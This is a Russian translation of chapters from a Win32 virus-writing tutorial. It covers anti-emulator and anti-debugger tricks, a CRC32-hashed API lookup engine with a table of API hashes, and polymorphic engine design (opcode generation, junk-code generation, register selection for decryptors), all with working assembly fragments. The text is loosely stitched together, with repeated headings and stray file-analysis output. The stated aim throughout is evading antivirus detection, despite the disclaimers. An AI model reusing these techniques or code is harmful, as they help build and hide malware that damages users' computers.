Путеводитель по написанию вирусов под Win32

Продвинутые Win32-техники

В этой главе я хочу обсудить несколько техник, которые не заслуживают того, чтобы каждой из них выделили по отдельной главе, но тем не менее и полностью забыть о них нельзя :).
  • SEH
  • Мультитредность
  • CRC32 (IT/ET)
  • Антиэмулятор
  • Перезапись секции .reloc


  • Базовая информация

    Хорошо, начнем очищение вашей головы от концепций MS-DOS'овского программирования: чарующих 16-ти битных смещений, способов, как стать резидентными... все, что мы использовали годами, теперь стало абсолютно бесполезным. Да, теперь все это бесполезно. В данном пособии, когда я говорю о Win32, я подразумеваю Windows 95 (обычные, OSR1, OSR2), Windows 98, Windows NT или Windows 3.x + Win32s. Наиболее главное изменение, на мой взгляд, заключается в том, что прерывания были заменены функциями API, а 16-ти битные регистры и смещения были заменены 32-х битными. Да, Windows открыла двери другим языками программирования, кроме ассемблера (таким как C), но я останусь с ассемблером навсегда: в большинстве случаев он более понятен и удобен для оптимизирования (привет, Super!). Как я сказал несколькими строчками выше, вы должны использовать функции API. Вы должны знать, что параметры должны быть в стеке, а функции API вызываются с помощью call.
    PS: Также я должен сказать, что называю Win95 (и все ее версии) и Win98 как Win9X, а Win2000 как Win2k. Учтите это.

    Заголовок PE

    Вероятно, это одна из самых важных глав данного пособия. Прочитайте его!

    Ring-3, программирование на уровне пользователя

    Да, это правда, что уровень пользователя налагает на нас много репрессивных и фашистских ограничений на нас, ограничивающих нашу свободу, к которой мы привыкли, программируя вирусы под DOS, но парни (и девушки - прим. пер.), это жизнь, это Micro$oft. Между прочим, это единственный путь сделать так, чтобы вирус был полностью Win32-совместимым и это среда окружения будущего, как вы должны знать. Во-первых, давайте посмотрим как получить адрес базы KERNEL32 (для Win32-совместимости) очень простым образом:

    Ring-0, программирование на уровне бога

    Свобода! Разве вы не любите ее? В ring-0 у нас нет никаких огpаничений, никакие законы не pаспpостpаняются на нас. Из-за некомпетентности Микpософта у нас есть множество путей, чтобы попасть на уpовень, на котоpый (теоpетически) мы не можем попасть. Тем не менее, мы можем это сделать под ОСями Win9x.
    Глупцы из Micro$oft оставили незащищенными таблицу пpеpываний, напpимеp. Это гигантская бpешь в безопасности, на мой взгляд. Hо какого чеpта, если мы можем написать виpус, используя его, это не бpешь, это пpосто подаpок! ;)

    Перпроцессная резидентность

    Теперь мы обсудим интересную тему для дискуссии: перпроцессная резидентность, единственный вид резидентности, доступный под всеми Win32 платформами. Я поместил эту главу отдельно от главы Ring-3, потому что эта тема слишком сложна для такой вводной главы, такой как Ring-3.

    Этот раздел должен писать Super,

    Хмм.. Этот раздел должен писать Super, а не я, но так как я все же его ученик, я напишу здесь о том, что изучил за то время, что нахожусь в мире кодинга под Win32. В этой главе я буду писать больше о локальной оптимизации, чем о структурной, потому что последняя сильно зависит от вашего стиля (например, лично очень параноидально отношусь к вычислениям стека и дельта-оффсета, как вы можете видеть в моем коде, особенно в Win95.Garaipena). В этой статье много моих собственных идей и советов, которые Super дал мне во время валенсийских тусовок. Он, вероятно, лучший оптимизатор в VX-мире. Без шуток. Я не буду обсуждать здесь, как оптимизировать так сильно, как это делает он. Нет. Я только расскажу вам о самых очевидных оптимизациях, которые могут быть сделаны при кодинге под Win32. Я не буду комментировать совсем тривиальные методы оптимизации, которые уже были объяснены в моем путеводителе по написанию вирусов под MS-DOS.

    я перечислю некоторые приемы, которые

    Здесь я перечислю некоторые приемы, которые можно использовать, чтобы защитить свои вирусы и/или программы против отладчиков (всех уровней, уровня приложения и системного). Я надеюсь, что вам понравится эта глава.

    Win32-полиморфизм

    Многие люди сказали мне, что самым слабым местом в моем путеводителе под MS-DOS была глава, посвященная полиморфизму (ммм, я написал ее, когда мне было 15, и тогда я знал ассемблер только 1 месяц). По этой причине я решил попытаться написать новую главу абсолютно с нуля. С тех пор я прочел много различных документов о полиморфизме и больше всего меня потряс Qozah'овский. Хотя он очень простой, все концепции полиморфизма, которые необходимы для создания полиморфных движков, объясняются в нем очень хорошо (если вы хотите прочитать его, скачайте DDT#1 с какого-нибудь хорошего VX-сайта). В некоторых частях этой главы я буду делать пояснения для полных ламеров, поэтому если у вас уже есть основные знания, пропустите их!

    Антиэмуляторы

    Как и многие другие части этого документа, эта маленькая глава является совместным проектом между мной и Super'ом. Далее следует небольшой список того, что необходимо знать для обмана AV'ишных эмуляторов, как и некоторых небольших отладчиков. Наслаждайтесь!
    - Генерирование ошибок с помощью SEH. Пример:
    pseh >jmp virus_code&rt; dec byte ptr [edx] ; >-- или другое исключение, например 'div edx' [...] >-- если мы здесь, нас отлаживают! virus_code: rseh [...] >-- код вируса :)
    - Использование сегментного префикса CS. Например:
    jmp cs:[shit] call cs:[shit]
    - Использование RETF. Пример:
    push cs call shit retf
    - Игра с DS. Пример:
    push ds pop eax
    или даже лучше:
    push ds pop ax
    или еще лучше:
    mov eax,ds push eax pop ds
    - Детектирование эмулятора NODiCE с помощью трюка PUSH CS/POP REG :
    mov ebx,esp push cs pop eax cmp esp,ebx jne nod_ice_detected
    - Использование недокументированных опкодов:
    salc ; db 0D6h bpice ; db 0F1h
    - Использование тредов и/или фиберов
    Я надеюсь, что все это окажется для вас полезным :).

    Что потребуется для написания вирусов

    Вот несколько программ, которые я хочу вам порекомендовать (если у вас нет денег, чтобы купить их... СКАЧАЙТЕ!) :)
  • Windows 95 или Windows NT или Windows 98 или Windows 3.x + Win32s :)
  • Пакет TASM 5.0 (который включает TASM32 и TLINK32)
  • SoftICE 3.23+ (или новее) для Win9X и для WinNT
  • Справочник по Win32 API
  • Win95 DDK, Win98 DDK, Win2000 DDK... короче все M$ DDK и SDK
  • Очень рекомендуется статья Мэтта Питрека о заголовке PE
  • Утилита Jacky Qwerty PEWRSEC
  • Несколько журналов, таких как 29A(#2+), Xine(#2+), VLAD($6), DDT(#1)...
  • Несколько вирусов под Windows, таких как Win32.Cabanas, Win95.Padania, Win32.Legacy...
  • Несколько эвристических антивирусов под Windows
  • "Нейромантик" Вильяма Гибсона, это священная книга
  • И это пособие, разумеется!

  • Я надеюсь, что не забыл ничего важного.
    [C] Billy Belcebu, пер. Aquila
    <<< Назад Вперед >>>


    CRC32 (IT/ET)

    Мы все знаем (по крайней мере, я надеюсь на это) как написать движок поиска API-функций. Это довольно легко, и существует множество туториалов из которых вы можете выбирать (туториалы JHB, Lord Julus'а, этот туториал...), просто найдите один из них и изучите. Но как вы уже поняли, это займет много места в вашем вирусе (из-за имен функций). Как решить эту проблему, если вы хотите написать маленький вирус?
    Решение: CRC32
    Я верю, что первым эту технику использовал GriYo в своем потрясающем вирусе Win32.Parvo (исходники которого еще не зарелизены). Вместо поиска совпадающих по именам функций он получает их CRC32 и сравнивает с теми, которые заложены в нем. Если происходит совпадение, то дальше все как обычно. Ок, ок... прежде всего вам нужно поглядеть на код, получающий CRC32 :). Давайте возьмем код Zheng[i, переработанный сначала Vecna, а потом мной (оптимизировал пару байтов) ;).
    ;---[ CUT HERE ]------------------------------------------------------------- ; ; Процедура получения CRC32 ; ------------------------- ; ; на входе: ; ESI = смещение, блока байтов, чей CRC32 должен быть вычислен ; EDI = размер этого блока ; на выходе: ; EAX = CRC32 данного блока ;
    CRC32 proc cld xor ecx,ecx ; Оптимизировано мно - на 2 dec ecx ; байта меньше mov edx,ecx NextByteCRC: xor eax,eax xor ebx,ebx lodsb xor al,cl mov cl,ch mov ch,dl mov dl,dh mov dh,8 NextBitCRC: shr bx,1 rcr ax,1 jnc NoCRC xor ax,08320h xor bx,0EDB8h NoCRC: dec dh jnz NextBitCRC xor ecx,eax xor edx,ebx dec edi ; на 1 байт меньше jnz NextByteCRC not edx not ecx mov eax,edx rol eax,16 mov ax,cx ret CRC32 endp ;---[ CUT HERE ]-------------------------------------------------------------
    Хорошо, теперь мы знаем, как получить этот чертов CRC32 определенной строки и/или кода. Но вы ждете здесь другого... хехехе, да! Вы ждете код движка поиска API-функций :).
    ;---[ CUT HERE ]------------------------------------------------------------- ; ; Процедура GetAPI_ET_CRC32 ; ------------------------- ; ; Хех, сложное имя? Эта процедура ищет имя API-функции в таблице экспортов ; KERNEL32 (после небольших изменений она будет работать для любой DLL), но ; теперь требуется только CRC32 API-функции, а не вся строка :). Также ; потребуется процедура для получения CRC32 вроде той, которую я привел выше. ; ; на входе: ; EAX = CRC32 имени функции в формате ASCIIz ; на выходе: ; EAX = адрес API-функции ;

    GetAPI_ET_CRC32 proc xor edx,edx xchg eax,edx ; Помещаем CRC32 функции в EDX mov word ptr [ebp+Counter],ax ; Сбрасываем счетчик mov esi,3Ch add esi,[ebp+kernel] ; Получаем PE-заголовок KERNEL32 lodsw add eax,[ebp+kernel] ; Нормализуем

    mov esi,[eax+78h] ; Получаем указатель на add esi,1Ch ; таблицу экспортов add esi,[ebp+kernel]

    lea edi,[ebp+AddressTableVA] ; Указатель на таблицу адресов lodsd ; Получаем значение AddressTable add eax,[ebp+kernel] ; Нормализуем stosd ; И сохраняем в ее переменной

    lodsd ; Получаем значение NameTable add eax,[ebp+kernel] ; Нормализуем push eax ; Помещаем ее на стек stosd ; Сохраняем в ее переменной

    lodsd ; Получаем значение OrdinalTable add eax,[ebp+kernel] ; Нормализуем stosd ; Сохраняем

    pop esi ; ESI = NameTable VA

    @?_3: push esi ; Снова сохраняем lodsd ; Получ. указ. на имя API-ф-ции add eax,[ebp+kernel] ; Нормализуем xchg edi,eax ; Сохраняем указатель в EDI mov ebx,edi ; И в EBX

    push edi ; Сохраняем EDI xor al,al ; Доходим до NULL'а scasb ; Это конец имени API-функции jnz $-1 pop esi ; ESI = Указ. на имя API-ф-ции

    sub edi,ebx ; EDI = Размер имени API-ф-ции

    push edx ; Сохраняем CRC32 функции call CRC32 ; Получаем текущий CRC функции pop edx ; Восстанавливаем CRC32 функции cmp edx,eax ; Они совпадают? jz @?_4 ; Если да, это то, что нам надо

    pop esi ; Восст. указ. на имя функции add esi,4 ; Переходим к следующему inc word ptr [ebp+Counter] ; И увеличиваем знач. счетчика jmp @?_3 ; Получаем следующую API-ф-цию! @?_4: pop esi ; Убираем мусор из стека movzx eax,word ptr [ebp+Counter] ; AX = счетчик shl eax,1 ; *2 (это массив слов) add eax,dword ptr [ebp+OrdinalTableVA] ; Нормализуем xor esi,esi ; Очищаем ESI xchg eax,esi ; ESI = Указ. на ординал; EAX=0 lodsw ; В AX получаем ординал shl eax,2 ; И с его помощью переходим к add eax,dword ptr [ebp+AddressTableVA] ; AddressTable (массив xchg esi,eax ; двойных слов) lodsd ; Получаем адресс API RVA add eax,[ebp+kernel] ; и нормализуем!! Все! ret GetAPI_ET_CRC32 endp

    AddressTableVA dd 00000000h ;\ NameTableVA dd 00000000h ; &rt; В ЭТОМ ПОРЯДКЕ!! OrdinalTableVA dd 00000000h ;/


    kernel dd 0BFF70000h ; Подгоните под свои нужды ;) Counter dw 0000h ;---[ CUT HERE ]-------------------------------------------------------------

    Далее следует эквивалентный код, но работающий с таблицей импортов. Таким образом вы сможете написать перпроцессный резидент с помощью одних только CRC32 имен API-функций ;).

    ;---[ CUT HERE ]------------------------------------------------------------- ; ; Процедура GetAPI_IT_CRC32 ; ------------------------- ; ; Эта процедура ищет в таблице импортов API-функция, CRC32 которой совпадает ; с переданным процедуре. Это полезно для создания перпроцессных резидентов ; (смотри главу "Перпроцессная резидентность" в данном туториале). ; ; на входе: ; EAX = CRC32 имени API-функции в формате ASCIIz ; на выходе: ; EAX = адрес API-функции ; EBX = указатель на адрес API-функции в таблице импортов ; CF = устанавливаем, если вызов функции не удался ;

    GetAPI_IT_CRC32 proc mov dword ptr [ebp+TempGA_IT1],eax ; Сохранить CRC32 API-функции ; на будущее

    mov esi,dword ptr [ebp+imagebase] ; ESI = база образа add esi,3Ch ; Получ. указ. на PE-заголовок lodsw ; AX = тот указатель cwde ; Очищаем MSW EAX'а add eax,dword ptr [ebp+imagebase] ; Нормализуем указатель xchg esi,eax ; ESI = такой указатель lodsd ; Получаем DWORD

    cmp eax,"EP" ; Это метка PE? jnz nopes ; Нет... duh!

    add esi,7Ch ; ESI = PE-заголовок+80h lodsd ; Ищем .idata push eax lodsd ; Получаем размер mov ecx,eax pop esi add esi,dword ptr [ebp+imagebase] ; Нормализуем

    SearchK32: push esi ; Сохраняем ESI в стек mov esi,[esi+0Ch] ; ESI = указатель на имя add esi,dword ptr [ebp+imagebase] ; Нормализуем lea edi,[ebp+K32_DLL] ; Указатель на 'KERNEL32.dll' mov ecx,K32_Size ; Размер строки cld ; Очищаем флаг направления push ecx ; Сохраняем ECX rep cmpsb ; Сохраняем байты pop ecx ; Восстанавливаем ECX pop esi ; Восстанавливаем ESI jz gotcha ; Были ли они равны? Черт... add esi,14h ; Получаем другое поле jmp SearchK32 ; И ищем снова gotcha: cmp byte ptr [esi],00h ; Это OriginalFirstThunk 0? jz nopes ; Проклятье, если так... mov edx,[esi+10h] ; Получаем FirstThunk add edx,dword ptr [ebp+imagebase] ; Нормализуем lodsd ; Получаем его or eax,eax ; Это 0? jz nopes ; Проклятье...


    xchg edx,eax ; Получаем указатель на него add edx,[ebp+imagebase] xor ebx,ebx loopy: cmp dword ptr [edx+00h],00h ; Последний RVA? jz nopes ; Проклятье... cmp byte ptr [edx+03h],80h ; Ординал? jz reloop ; Проклятье...

    mov edi,[edx] ; Получаем указатель на add edi,dword ptr [ebp+imagebase] ; импортированную API-функцию inc edi inc edi mov esi,edi ; ESI = EDI

    pushad ; Сохраняем все регистры eosz_edi ; В EDI получаем конец строки sub edi,esi ; EDI = размер имени функции

    call CRC32 mov [esp+18h],eax ; В ECX - результат после POPAD popad

    cmp dword ptr [ebp+TempGA_IT1],ecx ; CRC32 данной API-функции jz wegotit ; совпадает с той, которая ; нам нужна? reloop: inc ebx ; Если, совершаем следующий add edx,4 ; проход и ищем нужную функцию ; в таблице импортов loop loopy wegotit: shl ebx,2 ; Умножаем на 4 add ebx,eax ; Добавляем FirstThunk mov eax,[ebx] ; EAX = адрес API-функции test al,00h ; Пересечение: избегаем STC :) org $-1 nopes: stc ret GetAPI_IT_CRC32 endp

    TempGA_IT1 dd 00000000h imagebase dd 00400000h K32_DLL db "KERNEL32.dll",0 K32_Size equ $-offset K32_DLL

    ;---[ CUT HERE ]-------------------------------------------------------------

    Вы счастливы? Это рульно и легко! И, конечно, вы можете избежать возможных подозрений пользователя относительно вашего вируса (если то не зашифрован), так нет видимых имен API-функций :). Далее я перечислю CRC32 некоторых API-функций (включая NULL в конце имени), но если вы захотите узнать CRC32 другой функции, то вы сможете это сделать с помощью маленькой программки, исходник которой я также прилагаю.

    CRC32 некоторых API-функций:

    Имя API-функции CRC32 Имя API-функции CRC32 --------------- ----- --------------- ----- CreateFileA 08C892DDFh CloseHandle 068624A9Dh FindFirstFileA 0AE17EBEFh FindNextFileA 0AA700106h FindClose 0C200BE21h CreateFileMappingA 096B2D96Ch GetModuleHandleA 082B618D4h GetProcAddress 0FFC97C1Fh MapViewOfFile 0797B49ECh UnmapViewOfFile 094524B42h GetFileAttributesA 0C633D3DEh SetFileAttributesA 03C19E536h ExitProcess 040F57181h SetFilePointer 085859D42h SetEndOfFile 059994ED6h DeleteFileA 0DE256FDEh GetCurrentDirectoryA 0EBC6C18Bh SetCurrentDirectoryA 0B2DBD7DCh GetWindowsDirectoryA 0FE248274h GetSystemDirectoryA 0593AE7CEh LoadLibraryA 04134D1ADh GetSystemTime 075B7EBE8h CreateThread 019F33607h WaitForSingleObject 0D4540229h ExitThread 0058F9201h GetTickCount 0613FD7BAh FreeLibrary 0AFDF191Fh WriteFile 021777793h GlobalAlloc 083A353C3h GlobalFree 05CDF6B6Ah GetFileSize 0EF7D811Bh ReadFile 054D8615Ah GetCurrentProcess 003690E66h GetPriorityClass 0A7D0D775h SetPriorityClass 0C38969C7h FindWindowA 085AB3323h PostMessageA 086678A04h MessageBoxA 0D8556CF7h RegCreateKeyExA 02C822198h RegSetValueExA 05B9EC9C6h MoveFileA 02308923Fh CopyFileA 05BD05DB1h GetFullPathNameA 08F48B20Dh WinExec 028452C4Fh CreateProcessA 0267E0B05h _lopen 0F2F886E3h MoveFileExA 03BE43958h CopyFileExA 0953F2B64h OpenFile 068D8FC46h


    Вам нужен CRC32 другой функции?

    Это вполне возможно, поэтому я прилагаю исходник маленькой, но эффективной программы, которую я сделал сам для себя. Надеюсь, что вам она также будет полезной.

    ;---[ CUT HERE ]-------------------------------------------------------------

    .586 .model flat .data

    extrn ExitProcess:PROC extrn MessageBoxA:PROC extrn GetCommandLineA:PROC

    titulo db "GetCRC32 by Billy Belcebu/iKX",0

    message db "SetEndOfFile" ; Поместите здесь строку, чей ; CRC32 вам нужно узнать _ db 0 db "CRC32 is " crc32_ db "00000000",0

    .code

    test: mov edi,_-message lea esi,message ; Загружаем указатель на имя ; API-функции call CRC32 ; Получаем CRC32

    lea edi,crc32_ ; Конвертируем hex в текст call HexWrite32

    mov _," " ; Пусть 0 станет пробелом

    push 00000000h ; Отображаем messagebox с push offset titulo ; именем API-функции и ее CRC32 push offset message push 00000000h call MessageBoxA

    push 00000000h call ExitProcess

    HexWrite8 proc ; Этот код был взят из носителя mov ah,al ; 1-ого поколения вируса and al,0Fh ; Bizatch shr ah,4 or ax,3030h xchg al,ah cmp ah,39h ja @@4 @@1: cmp al,39h ja @@3 @@2: stosw ret @@3: sub al,30h add al,'A' - 10 jmp @@2 @@4: sub ah,30h add ah,'A' - 10 jmp @@1 HexWrite8 endp

    HexWrite16 proc push ax xchg al,ah call HexWrite8 pop ax call HexWrite8 ret HexWrite16 endp

    HexWrite32 proc push eax shr eax, 16 call HexWrite16 pop eax call HexWrite16 ret HexWrite32 endp

    CRC32 proc cld xor ecx,ecx ; Оптимизировано мной - на 2 ; байта меньше dec ecx mov edx,ecx NextByteCRC: xor eax,eax xor ebx,ebx lodsb xor al,cl mov cl,ch mov ch,dl mov dl,dh mov dh,8 NextBitCRC: shr bx,1 rcr ax,1 jnc NoCRC xor ax,08320h xor bx,0EDB8h NoCRC: dec dh jnz NextBitCRC xor ecx,eax xor edx,ebx dec edi ; на 1 байт меньше jnz NextByteCRC not edx not ecx mov eax,edx rol eax,16 mov ax,cx ret CRC32 endp

    end test ;---[ CUT HERE ]-------------------------------------------------------------

    Круто, правда? :)

    Дисклеймер автора

    Автор этого документа не ответственен за какой бы то ни было ущерб, который может повлечь неправильное использование данной информации. Цель данного туториала - это научить людей как создавать и побеждать ламерские YAM-вирусы :). Этот туториал предназначается только для образовательных целей. Поэтому, законники, я не заплачу и ломанного гроша, если какой-то ламер использует данную информацию, чтобы сделать деструктивный вирус. И если в этом документе вы увидите, что я призываю разрушать или портить чужие данные, идите и купите себе очки.

    Дисклеймер переводчика

    Серия туториалов "Путеводитель по написанию вирусов под Win32" предназначена для сугубо образовательных целей. По крайней мере именно это было целью перевода: предоставить людям информацию о формате PE-файла, работе операционной системы, таких полезных технологиях, как полиморфизм и многом другом, что может потребоваться кодеру в его нелегком пути к постижению дао программирования. То, как читатели используют эту информацию, остается на их совести.

    + DOS-информация +

    Анализируемый файл: GOAT002.EXE
    DOS-отчеты: ¦ Размер файла - 2000H (08192d) ¦ Время создания файла - 17:19:46 (hh:mm:ss) ¦ Дата создания файла - 11/06/1999 (dd/mm/yy) ¦ Аттрибуты : архивный
    [...]
    + PE Header +
    + DOS-информация +

    + DOS INFORMATION +

    Анализируемый файл: GOAT002.EXE
    DOS-отчеты: ¦ Размер файла - 2600H (09728d) ¦ Время создания файла - 23:20:58 (hh:mm:ss) ¦ Дата создания файла - 22/06/1999 (dd/mm/yy) ¦ Аттрибуты : архивный
    [...]

    Генерация инструкций

    Вероятно, это самое важное в полиморфизме: отношения, существующие между одной и той же инструкции с разными регистрами или между разными инструкциями одного семейства. Отношения между ними становятся понятными, если мы преобразуем значения в двоичный формат. Но сначала немного полезной информации:
    Генерация инструкций
    Я думаю, что моя главная ошибка во время написания моего предыдущего путеводителя заключалась в той части, где я описывал структуру опкодов и тому подобное. Поэтому сейчас я объясню часть того, что вам придется делать самим, так же, как когда я писал свой полиморфный движок. Возьмем в качестве примера опкод XOR...
    xor edx,12345678h -> 81 F2 78563412 xor esi,12345678h -> 81 F6 78563412
    Видите различие? Я пишу инструкции, которые мне нужны, использую дебуггер и смотрю, что изменяется раз от раза. Вы можете видеть, что изменился второй байт. Теперь самая забавная часть: переведите эти значения в двоичную форму.
    F2 -> 11 110 010 F6 -> 11 110 110
    Видите, что изменилось? Последние три бита, верно? Ок, теперь переходим к регистрам. Как вы поняли, изменяются три последних бита согласно используемому регистру. Итак...
    010 -> EDX 110 -> ESI
    Просто попытайтесь поместить другое двоичное значение в эти три бита и вы увидите, как изменяется регистр. Но будьте осторожны... не используйте значение EAX (000) с этим опкодом, так как и у всех арифметических операций, у xor есть специальный опкод, оптимизированный для EAX. Кроме того, если вы используете такое значение регистра, эвристик запомнит это (хотя этот опкод будет прекрасно работать).
    Поэтому отлаживайте то, что хотите сгенерировать, изучайте взаимоотношения между ними и стройте надежный код для генерирования чего бы то ни было. Это очень легко!

    Генерация мусора

    Качество мусора на 90% - качество вашего полиморфного движка. Да, я сказал "качество", а не "количество", как вы могли подумать. Во-первых, я покажу вам две возможности, которые у вас есть при написании полиморфного движка:
    - Генерирование реалистичного кода, похожего на "законный" код приложения. Например, движки GriYo.
    - Генерировать так много инструкций, как это возможно, похожего на поврежденный файл (с использованием сопроцессора). Например, MeDriPoLen Mental Driller'а.
    Ок, тогда давай начнет:
    ¦ Общее для обоих случаев:
    - CALL'ы (и CALL'ы внутри CALL'ов внутри CALL'ов...) множеством различных путей - Безусловные переходы
    ¦ Реалистичность:
    "Реалистичное" - это то, что выглядит как настоящее, хотя и может не являться таковым на самом деле. Я хочу задать вам вопрос: что вы подумаете, если увидите огромное количество кода без CALL'ов и JUMP'ов? Что, если после CMP не будет условного перехода? Это практически невозможно, о чем знаем и мы и AV. Поэтом мы должны ументь все эти виды мусорных структур:
    - CMP/Условные переходы - TEST/Условные переходы - Всегда использовать оптимизированные опкоды при работе с EAX - Работа с памятью - Генерирование структур PUSH/мусор/POP - Использование очень маленького количества однобайтовых инструкций (если вообще их использовать)
    ¦ Mental Drillism... гхрм... Поврежденный код выглядит следующим образом:
    Декриптор наполнен всякой чепухой, опкодами не похожие на код, ничего не делающими инструкциями сопроцессора и, конечно, используется так много опкодов, как это возможно.
    -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
    Ладно, теперь я попытаюсь объяснить все этапы генерации кода. Во-первых, давайте начнем с того, что относится к CALL'ам и безусловным переходам.
    • Что касается первого, это очень просто. Вызов подпрограмм можно осуществить разными путями:
    Генерация мусора
    Конечно, вы можете смешивать эти способы, получив, как результат множество способов сделать подпрограмму внутри декриптора. Конечно, вы можете сделать рекурсию (о чем я еще буду говорить в дальнейшем), должны быть CALL'ы внутри других CALL'ов и это все внутри еще одного CALL и так далее... Уфф. Сплошная головная боль.

    Между прочим, будет неплохо сохранять смещения некоторых из этих процедур и вызывать их где-нибудь в сгенерированном коде.

    • Безусловные переходы - это тоже очень легко, так как нам не нужно заботиться об инструкциях между переходом и тем, куда он переходит - туда мы можем вставлять всякий мусор.

    -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

    Теперь я собираюсь обсудить реалистичность кода. GriYo можно назвать автором лучших движков в этой области; если вы видели движки Marburg'а или HPS, вы поймете, что несмотря на их простоту, GriYo стремится к тому, чтобы код выглядел как можно более настоящим, и это AV бесятся, когда пытаются разработать надежный алгоритм против таких движков. Ок, давайте начнем с основных моментов:

    • Со структурой 'CMP/Условный переход' все понятно, потому что никогда не следует использовать сравнение без последующего условного перехода... Ок, но попытайтесь сделать переходы с ненулевым смещением, сгенерируйте какой-нибудь мусор между условным переходом и смещением, куда будет передан контроль (или не будет), и код станет менее подозрительным в глазах анализатора.

    • То же самое касается TEST, но использовать следует JZ или JNZ, потому что, как вам известно, TEST влияет только на нулевой флаг.

    • Очень легко сделать ошибку при использовании регистров AL/AX/EAX, так как для них существуют специальные оптимизированные опкоды. В качестве примеров могут выступать следующие инструкции:

    ADD, OR, ADC, SBB, AND, SUB, XOR, CMP и TEST (Непосредственное значение в регистр).

    • Касательно адресов памяти - хорошим выбором будет получить по крайней мере 512 байтовв зараженном файле, поместить их где-нибудь в вирусе и сделать доступными для чтения и записи. Постарайтесь использовать кроме простого индексирования еще и двойное, и если ваш разум может принять это, попытайтесь использовать двойное индексирование с умножением, что-нибудь вроде следующего [ebp+esi*4]. Это не так сложно, как можно подумать, поверьте мне. Вы также можете делать перемещения в памяти с помощью инструкции MOVS, также используйте STOS, LODS, CMPS... Можно использовать все строковые операции, все зависит от вас.


    • Структуры PUS/TRASH/ POP очень полезны, потому что их легко добавить в движок, и они дают хорошие результаты, в то время как это нормальная структура в законопослушной программе.

    • Если количество однобайтных инструкций слишком велико, это может выдать наше присутствие AV или любому человеку. Учтите, что нормальные программы используют их не так часто, поэтому вполне возможно, что лучше добавить проверку для того, чтобы избежать их чрезмерного использования (мне кажется, что приемлимым соотношением будет 1 однобайтовая инструкция на каждые 25 байтов).

    -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

    Дальше идет немного менталдриллизма :).

    • Вы можете использовать следующие 2-х байтовые инструкции сопроцессора в качестве мусора без каких-либо проблем:

    f2xm1, fabs, fadd, faddp, fchs, fnclex, fcom, fcomp, fcompp, fcos, fdecstp, fdiv, fdivp, fdivr, fdivrp, ffree, fincstp, fld1, fldl2t, fldl2e, fldpi, fldln2, fldz, fmul, fmulp, fnclex, fnop, fpatan, fprem, fprem1, fptan, frndint, fscale, fsin, fsincos, fsqrt, fst, fstp, fsub, fsubp, fsubr,fsubrp, ftst, fucom, fucomp, fucompp, fxam, fxtract, fyl2x, fyl2xp1.

    Просто поместите в начало вируса эти две инструкции, чтобы сбросить сопроцессор:

    fwait fninit

    Генерация "настоящего" кода

    Давайте взглянем на наш набор инструкций.
    mov ecx,virus_size ; (1) lea edi,crypt ; (2) mov eax,crypt_key ; (3) @@1: xor dword ptr [edi],eax ; (4) add edi,4 ; (5) loop @@1 ; (6)
    Чтобы выполнить то же самое действие, но с помощью другого кода, можно сделать много разных вещей, и это является нашей целью. Например, первые три инструкции можно сгруппировать другим способом с тем же результатом, поэтому вы можете создать функцию для рандомизации их порядка. И мы можем использовать любой набор регистров без особых проблем. И мы можем использовать вместо loop dec/jnz... И так далее, и так далее...
    - Ваш код должен уметь генерировать, например, что-то вроде следующего для выполнения одной простой инструкции. Давайте подумаем насчет первого mov:
    mov ecx,virus_size
    или
    push virus_size pop ecx
    или
    mov ecx,not (virus_size) not ecx
    или
    mov ecx,(virus_size xor 12345678h) xor ecx,12345678h
    и так далее, и так далее...
    Все это будет генерироваться с помощью разных опкодов, но будет выполнять одну и ту же работу, а именно - помещать в ECX размер вируса. Конечно, здесь есть миллиард возможностей, потому вы можете использовать огромное количество инструкций для помещения инструкции в регистр. Это требует большого воображения с вашей стороны.
    - Другое, что можно сделать - это изменить порядок инструкций. Как я уже сказал раньше, вы можете это сделать без особых проблем, потому что порядок для них не играет роли. Поэтому, вместо набора инструкций 1,2,3 мы легко можем сделать 3,1,2 или 1,3,2 и т.д. Просто дайте волю вашему воображению.
    - Также очень важно делать обмен регистров, так как тогда опкоды тоже могут меняться (например, 'MOV EAX, imm32' кодируется как 'B8 imm32', а 'MOV ECX, imm32' кодируется как 'B9 imm32'). Вам следует использовать 3 регистра для декриптора из 7, которые мы можем использовать (никогда не используйте ESP!!!). Например, представьте, что выбрали (случайно) 3 регистра. EDI в качестве базового указателя, EBX в качестве ключа, а ESI - в качестве счетчика; тогда мы можем использовать EAX, ECX, EDX и EBP в качестве мусорных регистров для генерации мусорных инструкций. Давайте посмотрим пример кода, в котором выбираются 3 регистра для генерации нашего декриптора:

    -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= InitPoly proc

    @@1: mov eax,8 ; Получить случайный регистр call r_range ; EAX := [0..7]

    cmp eax,4 ; Это ESP? jz @@1 ; Если да, получаем другой

    mov byte ptr [ebp+base],al ; Сохраняем его mov ebx,eax ; EBX = базовый регистр

    @@2: mov eax,8 ; Получаем случайный регистр call r_range ; EAX := [0..7]

    cmp eax,4 ; Это ESP? jz @@2 ; Если да, получаем другой

    cmp eax,ebx ; Равен базовому указателю? jz @@2 ; Если да, получаем другой

    mov byte ptr [ebp+count],al ; Сохраняем его mov ecx,eax ; ECX = Регистр-счетчик

    @@3: mov eax,8 ; Получаем случайный регистр call r_range ; EAX := [0..7]

    cmp eax,4 ; Это ESP? jz @@3 ; Если да, получаем другой

    cmp eax,ebx ; Равен регистру базового указ.? jz @@3 ; Если да, получаем другой

    cmp eax,ecx ; Равен регистру-счетчику? jz @@3 ; Если да, получаем другой

    mov byte ptr [ebp+key],al ; Сохраняем его

    ret

    InitPoly endp -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

